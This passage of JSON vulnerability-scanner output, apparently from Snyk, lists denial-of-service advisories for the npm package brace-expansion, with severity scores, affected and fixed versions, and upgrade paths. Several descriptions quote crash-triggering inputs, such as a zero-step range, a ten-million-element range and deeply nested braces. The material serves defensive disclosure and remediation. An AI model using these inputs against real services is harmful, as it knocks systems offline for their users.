Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the 